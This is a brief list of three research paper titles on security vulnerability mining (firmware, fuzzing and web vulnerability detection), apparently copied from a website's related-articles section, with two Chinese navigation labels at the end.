Work-in-Progress: DOVE: Pinpointing firmware security vulnerabilities via symbolic control flow assertion mining
New Development of Fuzzing-based Vulnerabilities Mining Research
Data mining for web vulnerability detection: A critical review

相關文章
相關標籤/搜索